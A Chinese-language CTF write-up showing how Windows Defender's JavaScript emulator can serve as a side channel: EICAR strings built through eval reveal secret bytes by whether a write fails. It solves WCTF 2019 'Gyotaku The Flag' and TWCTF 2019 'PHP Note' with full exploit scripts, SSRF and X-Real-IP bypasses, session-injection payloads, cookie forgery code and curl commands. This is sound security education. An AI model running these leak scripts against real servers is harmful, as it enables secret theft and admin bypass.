在今年的 WCTF 2019 上,Tokyo Westerns 出了一道与 Windows Defender 侧信道攻击相关的题目,在 Tokyo Westerns CTF 2019 上也有一道与之有关的题目 PHP Note,看了感觉比较有趣,但是我看的网络文章写的都比较粗略,这里我就记录一下自己的分析。
Windows Defender
众所周知,Windows Defender 是 Windows 10 平台上一款自带的安全防护软件,游戏弹窗杀手
Windows Defender(Windows 10 创意者更新后名为Windows Defender Antivirus),曾用名Microsoft AntiSpyware,最初是用来移除、隔离和预防间谍软件的程序,可以运行在Windows XP以及更高版本的操作系统上,并已经内置在Windows Vista以及以后的版本中。Windows Defender的定义库更新很频繁。在Windows 8及之后的系统中取代Microsoft Security Essentials,成为一款全面反病毒软件。
Windows Defender不像某些其他同类免费产品一样只能扫描系统,还可以对系统进行实时监控,移除已经安装的ActiveX插件,清除大多数微软的程序和其他常用程序的历史纪录。
What Windows Defender will do
根据 TW 的分析,Windows Defender 会有以下行为:
- 检查文件内容是否有恶意内容
- 改变恶意文件的权限以避免用户去加载
- 替换恶意内容为空
- 删除整个文件
在第二步中,如果文件被 Windows Defender 检测出是恶意文件的话,用户就不可以访问了。
Make Windows Defender Angry
EICAR
EICAR标准反病毒测试文件,又称EICAR测试文件, 是由欧洲反计算机病毒协会(EICAR)与计算机病毒研究组织(CARO)研制的文件, 用以测试杀毒软件的响应程度。不同于使用可能造成实际破环的实体恶意软件,该文件允许人们在没有计算机病毒的情况下测试杀毒软件。
我们可以使用以下字符串测试 Windows Defender
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
只需要将这个字符串复制,然后保存在一个空白的 txt 文件当中即可触发 Windwos Defender,所以我们先通过这个样例来检查一下自己的 Windows Defender 是否开启。
Mpengine.dll
根据 Tokyo Westerns 的分析,Windows Defender 有一个核心 dll 文件 Mpengine.dll ,他可以对不同的内容进行分析,包括一些 base64 encode/RAR archived/etc. ,其中比较有意思的是它还有一个 Javascript Engine。
这个引擎可以分析 HTML 文档,并且可以分析其中的 Javascript 代码,包括对文档中的 DOM 元素的访问。
我们可以做个简单的验证,我们先只使用以下代码测试:
var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
可以发现我们并没有触发 Windows Defender,即使字符串是 EICAR 测试样本,说明了字符串不受 EICAR 特征影响。
接着我们尝试添加一下 eval
:
var mal = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
没错,在保存的时候就立马触发了 Windows Defender ,足以验证当中有一个 Javascript Engine 进行了内容检测,而且即使没有完整的 Javascript 标签,也可以触发 Windows defender。
Interesting Check
接下来我们再看几个测试例子:
<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
非常棒,并没有被检测出恶意内容。
接着我们再试着加一个 <body>
标签:
<script>
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>
也很棒,也没有检测出恶意内容。
让我们再操作一下 DOM 元素:
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>
Done! 触发了恶意内容检测。
那如果我们把 EICAR 内容进行一下拆分呢?
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>a</body>
这里我们获取的是 <body>
标签中的第一个字符,也就是 a
,不构成 EICAR 测试样本,所以触发不了 Windows Defender 也很正常。
那我们改一下 <body>
标签当中的内容呢?使用 *
试试看
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + body[0];
eval(mal);
</script>
<body>*</body>
很棒,意料之中地触发了 Windows Defender。
Go Hacking
那触发 Windows Defender 会有什么问题吗?虽然这里看似没什么毛病,但是放到业务代码里面就不一样了。
仔细想想一般程序猿会这么写文件呢?细心的程序猿在进行写文件之后要 check 一遍是否写入成功,类似:
$err = file_put_contents('/tmp/file_name', 'something need to be saved');
if(!$err)
return Exception;
file_put_contents
在写入成功后返回写入多少个字节,失败的时候返回 False
,然后我们就可以利用这个特性,当我们写入恶意数据的时候,因为 Windows Defender 检查出恶意内容,禁止了用户读取权限或者删除了文件,导致服务因为检查写入不成功抛出异常,而对于我们来说可能直接返回错误的状态码类似 500 。
所以我们可以总结一下,大致我们可以有这么一套侧信道攻击的攻击链:
eval("EICA"+input) -> ?
detected -> input is 'R'
not detected -> input is not 'R'
如果内容中有 <body>
标签,并且如果有无法通过正常手段读到的数据,我们可以尝试用这种类似“盲注”的方式去获取秘密数据
JavaScript can access the elements :)
○ if they have <body> tag
○ <script>document.body.innerHTML[0]</script><body>[secret]</body>
这里需要注意的是,Tokyo Westerns 指出使用 if
语句构造的 EICAR 样本,Windows Defender 是不会检测出来的,例如以下 payload , mal
已经可以构造出 EICAR 样本,但是不会触发 Windows Denfender 的,但是大致思路我们可以通过这段代码来理解
<script>
var n = 'a';
if(document.body.innerHTML[0] > 'a')
n = '*';
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + n;
eval(mal);
</script>
<body>flag{aaa}</body>
然后我们大致修改一下,不使用 if
作为判断选择条件,使用 Math.min()
作为判断选择,所以大致我们可以得到这么个 payload :
<script>
var num = 90;
var body = document.body.innerHTML[0].charCodeAt(0);
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H" + {[num] : '*'}[Math.min(num ,body)];
eval(mal);
</script>
<body>flag{aaa}</body>
因为 body
获取到的是 f
的 ascii 码为 102 ,大于 90 ,所以 Math.min()
返回值为 90 , {[num]:'*'}
创建了一个 key 为 90 ,value 为 *
的对象,这里注意需要用 [num]
把 num
当作变量,因为如果直接使用 {num:'*'}
,这样是创建了一个 key 为 num 的一个字符串, value 为 *
的对象
> var num = 90;
undefined
> var n = {num : '*'};
undefined
> console.log([num]);
[ 90 ]
undefined
> console.log(n[num]);
undefined
undefined
> console.log(n['num']);
*
undefined
> console.log(n);
{ num: '*' }
这样我们就可以通过“盲注”的方式获取 <body>
标签中的秘密数据了。
Gyotaku The Flag
题目源码在 Gyotaku The Flag,slides 在 WCTF2019: Gyotaku The Flag
有了以上的知识,让我们回到 WCTF 2019 Gyotaku The Flag 这道题上,这道题有这么几个路由
e.GET("/", IndexHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku", GyotakuListHandler(dbconn), LoginRequiredMiddleware)
e.GET("/gyotaku/:gid", GyotakuViewHandler(dbconn), LoginRequiredMiddleware)
e.GET("/flag", FlagHandler, InternalRequiredMiddleware)
e.POST("/login", LoginHandler(dbconn))
e.POST("/gyotaku", GyotakuHandler(dbconn), LoginRequiredMiddleware)
So easy to GetFlag
在 /flag
的路由上有一个类似于中间件的功能: InternalRequiredMiddleware
func InternalRequiredMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
ip := net.ParseIP(c.RealIP())
localip := net.ParseIP("127.0.0.1")
if !ip.Equal(localip) {
return echo.NewHTTPError(http.StatusForbidden)
}
return next(c)
}
}
以及 FlagHandler
:
func FlagHandler(c echo.Context) error {
data, err := ioutil.ReadFile("flag")
if err != nil {
return err
}
return c.String(http.StatusOK, string(data))
}
可以看到这是一个控制只能 127.0.0.1
访问的功能函数,用于构造题目的 SSRF 这么一个类似的关卡,可是由于出题人不是特别细心, echo.Context.RealIP
可以被 X-Real-IP
绕过,所以导致了当时很多人直接通过这个方式拿到了 flag …
题目结束,分析完了,关了吧别看了,后面都是扯淡,拿到 flag 就是王道,管他用什么方式
The better way to GetFlag
好了,我们接下来分析分析比较有意思的预期解。
/login
路由比较简单,使用的是 goleveldb
做的数据操作
/gyotaku
路由 GET 方法列举用户有多少金坷垃
/gyotaku/:gid
从文件中查找 gid
我们可以在 /gyotaku
路由的 POST 方法中看到接收了一个 url 参数,并对 url 进行了请求:
url := c.FormValue("url")
...
resp, err := http.Get(url)
这就是我们需要的 SSRF 的点了,传入 url 让服务器请求这个 URL 。
然后我们可以接着往下看,注意到有个写文件的操作:
resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
// save gyotaku
gyotakudata := &GyotakuData{
URL: url,
Data: string(body),
UserName: username,
}
buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
if err != nil {
return err
}
这段将 GyotakuData
写入了一个文件当中,并且跟我们上文提到的写文件方法一致,判断了是否写入成功,不成功就返回 err
,并且在这里三个写入的参数我们都可控。
所以我们现在可以有一个大致思路,通过提交 {"url":"http://127.0.0.1/flag"}
到 /gyotaku
路由,构成一个 SSRF ,这时候 /flag
路由会返回 flag ,通过以上代码解析,flag 被放到了 Data
中,接着我们再看一下 GyotakuData
结构体
type GyotakuData struct {
URL string `json:"url"`
Data string `json:"data"`
UserName string `json:"username"`
}
如果中间是 Data
是我们 <body>
标签的 secret 数据,那么 UserName
我们就需要一个 </body>
标签将其闭合,前面 URL 怎么构造好呢?
因为 /flag
路由是不处理任何 GET 参数的,所以我们可以尝试把我们需要构造的 payload 放到 URL 参数当中,这样就可以构造了我们上文的 Payload 了,我们需要构造的大致就是以下这样:
type GyotakuData struct {
URL string "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
Data string "flag{test}"
UserName string "</body>"
}
这样服务把 GyotakuData
结构体写入文件当中了:
...GyotakuData...URL...Data...UserName...http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>...
flag{test}...</body>...
为了方便阅读,上面我用 ...
代替了不可见字符,可以用以下测试代码进行测试:
package main
import (
"bytes"
"encoding/gob"
"io/ioutil"
)
type GyotakuData struct {
URL string `json:"url"`
Data string `json:"data"`
UserName string `json:"username"`
}
func main() {
url := "http://127.0.0.1/flag?<script>var num = 90;var body = document.body.innerHTML[0].charCodeAt(0);var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H' + {[num] : '*'}[Math.min(num ,body)];eval(mal);</script><body>"
body := "flag{test}"
username := "</body>"
gyotakudata := &GyotakuData{
URL: url,
Data: body,
UserName: username,
}
buf := bytes.NewBuffer(nil)
gob.NewEncoder(buf).Encode(gyotakudata)
ioutil.WriteFile("test.txt", buf.Bytes(), 0644)
}
这样只要我们每次控制 num 的值,我们就可以在服务器 500 的时候判断我们设立的条件是否成立了。这里直接给出 TokyoWesterns 的 exp 脚本,他们使用了二分法加快判断:
import requests
URL = "http://192.168.122.78" # changeme
def randstr(n=8):
import random
import string
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join([random.choice(chars) for _ in range(n)])
def trigger(c, idx, sess):
import string
prefix = randstr()
p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
p = string.Template(p).substitute({'idx': idx, 'c': c})
req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
return req.json()
def leak(idx, sess):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
gid = trigger(m, idx, sess)
if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
l = m
else:
h = m
return chr(l)
sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})
data = ''
for i in range(30):
data += leak(i, sess)
print(data)
这里 trigger
函数中 idx 就是获取的 <body>
标签中的第几位,c 就是我们传入的用于比较的 ascii 码值。至此,这题就分析完毕了。
PHP Note
在 TokyoWesterns CTF 2019 上,由于 WCTF 2019 上的失误,让他们又出了一道与之相关的题目。
<?php
include 'config.php';
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}
public function getnotes() {
return $this->notes;
}
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
function is_login() {
return !empty($_SESSION['secret']);
}
function redirect($action) {
header("Location: /?action=$action");
exit();
}
$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];
if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
redirect('index');
}
if ($action === 'source') {
highlight_file(__FILE__);
exit();
}
session_start();
if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
if ($action === 'logout') {
session_destroy();
redirect('index');
}
if ($action === 'post') {
if ($method === 'POST') {
$title = (string)$_POST['title'];
$body = (string)$_POST['body'];
$note->addnote($title, $body);
$data = base64_encode(serialize($note));
setcookie('note', (string)$data);
setcookie('hmac', (string)hmac($data));
}
redirect('index');
}
if ($action === 'getflag') {
$note->getflag();
}
?>
<!doctype html>
<html>
<head>
<title>PHP note</title>
</head>
<style>
textarea {
resize: none;
width: 300px;
height: 200px;
}
</style>
<body>
<?php
if (!is_login()) {
$realname = htmlspecialchars($realname);
$nickname = htmlspecialchars($nickname);
?>
<form action="/?action=login" method="post" id="login">
<input type="text" id="firstname" placeholder="First Name">
<input type="text" id="lastname" placeholder="Last Name">
<input type="text" name="nickname" id="nickname" placeholder="nickname">
<input type="hidden" name="realname" id="realname">
<button type="submit">Login</button>
</form>
<?php
} else {
?>
<h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
<a href="/?action=logout">logout</a>
<!-- <a href="/?action=source">source</a> -->
<br/>
<br/>
<?php
foreach($note->getnotes() as $k => $v) {
list($title, $body) = $v;
$title = htmlspecialchars($title);
$body = htmlspecialchars($body);
?>
<h2><?=$title?></h2>
<p><?=$body?></p>
<?php
}
?>
<form action="/?action=post" method="post">
<input type="text" name="title" placeholder="title">
<br>
<textarea name="body" placeholder="body"></textarea>
<button type="submit">Post</button>
</form>
<?php
}
?>
<?php
?>
<script>
document.querySelector("form#login").addEventListener('submit', (e) => {
const nickname = document.querySelector("input#nickname")
const firstname = document.querySelector("input#firstname")
const lastname = document.querySelector("input#lastname")
document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
}
})
</script>
</body>
</html>
乍一看确实没有任何的漏洞点,让人比较在意的只有 unserialize
函数,我们关注的是 getflag()
,条件是成为管理员,而我们可以看到有以下条件:
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
...
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
如果没有通过 verify
函数判断, Note
的构造函数会设置 $this->isadmin = False;
,但是 $_SESSION['secret']
又由 gen_secret
函数生成, SALT
和 PEPPER
我们都不知道,用一般的方法拿到 secret 基本不可能。
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
...
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
而 hash_equals
也没有什么绕过的办法,所以这里看起来似乎没有什么正常的办法。
大致我们可以知道要获取 Flag ,就要成为 admin ,要成为 admin 就要知道 $_SESSION['secret']
。
题目的大致功能也比较简单,只有登录注销、增加 post 功能,但是我们可以从相应头发现一些蛛丝马迹:
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9
之后我们就可以从这里大概猜到其实与上题一致,为什么这么说呢?
$_SESSION['secret']
存放在 Session 文件当中- Session 文件又存放在本地文件系统中
- 如果 Session 文件含有恶意内容就会被 Windows Defender 阻止访问造成登录失败
- 这样我们似乎可以通过是否登录成功来获得
$_SESSION['secret']
我们可以本地进行测试一下,随便登录一个发现 session 文件内容是
realname|s:9:"zedd zedd";nickname|s:6:"yoyoyo";secret|s:32:"621e1d6607af0b500603e68b23e042e2";
发现 secret 竟然是在我们可控数据的后面,如果没有 </body>
标签闭合,Windows Defender 的 JS Engine 不像现代浏览器一样可以闭合标签,这样我们也达不到我们侧信道攻击的效果,所以我们需要找到一个办法让我们可控的地方在 secret 数据后面才行。
让我们再回顾一下登录逻辑
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
其中我们可以看到这里有一个 $nickname
为空的判断,我们看看当 $nickname
为空的时候登录,session 文件会是怎么样的:
realname|s:9:"zedd zedd";secret|s:32:"8b9a527ff677cb223afa87dad7c9e6f8";
此时如果我们不注销,直接再次发一个含有 nickname 的登录包,看看又会有什么效果
realname|s:9:"zedd zedd";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:6:"yoyoyo";
!!!这种数据格式不正是我们所需要的侧信道攻击格式吗!这样我们就可以通过 Windows Defender 侧信道攻击把 secret 读出来了!
只要我们构造类似如下的 payload 就可以了( x 为序列化之后的字符串长度):
realname|s:x:"<script>var body = document.body.innerHTML;var mal = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H;' + body[0];eval(mal);</script><body>";secret|s:32:"621e1d6607af0b500603e68b23e042e2";nickname|s:x:"</body>";
接下来就是与上面类似的步骤,利用“盲注”的形式来读 secret ,下面就贴一下 r3kapig 师傅们的脚本:
import requests
URL = "http://phpnote.chal.ctf.westerns.tokyo" # changeme
def trigger(c, idx):
import string
p = '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
p = string.Template(p).substitute({'idx': idx, 'c': c})
return p
def leak(idx):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
gid = trigger(m, idx)
# r = requests.post(URL + '/?action=login', data={'realname': gid, 'nickname': '1'})
# print r.content
# exit()
s = requests.session()
s.post(URL + '/?action=login', data={'realname': gid, 'nickname': ''})
if "/?action=login" in s.post(URL + '/?action=login', data={'realname': gid, 'nickname': '</body>'}).content:
l = m
else:
h = m
return chr(l)
data = ''
for i in range(100):
data += leak(i)
print(data)
拿到 secret 之后,就可以构造 Note 类了:
<?php
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}
public function getnotes() {
return $this->notes;
}
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}
function gen_secret($seed) {
return "2532bd172578d19923e5348420e02320";
}
// create session
$_SESSION = Array();
$_SESSION['secret'] = gen_secret('');
$_SESSION['realname'] = "stypr stypr";
$_SESSION['nickname'] = "";
// generate note
$note = new Note(true);
$note->addnote("work", "work");
$data = base64_encode(serialize($note));
/* verify
//echo "Data: ".(string)$data."\n";
//echo "HMAC: ".(string)hmac($data)."\n";
//echo "-----";
//var_dump(verify((string)$data, (string)hmac($data)));
*/
?>
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=logout' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --insecure
curl -s 'http://phpnote.chal.ctf.westerns.tokyo/?action=login' -H 'Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a;' --data 'nickname=</body>&realname=stypr+stypr' --compressed --insecure
curl -s "http://phpnote.chal.ctf.westerns.tokyo/?action=getflag" -H "Cookie: PHPSESSID=468b674d8d6139373a064b832efdf47a; note=<?php echo $data; ?>; hmac=<?php echo hmac($data); ?>;"
$ php flag.php | sh | grep "TWCTF"
TWCTF{h0pefully_I_haven't_made_a_m1stake_again}<!doctype html>
One More
其实个人觉得 Windows Defender 这个 JS Engine 还是有很多没发掘的地方,奈何自己逆向水平不够,这里放几个会议的分享吧
Windows Offender: Reverse Engineering Windows Defender’s Antivirus Emulator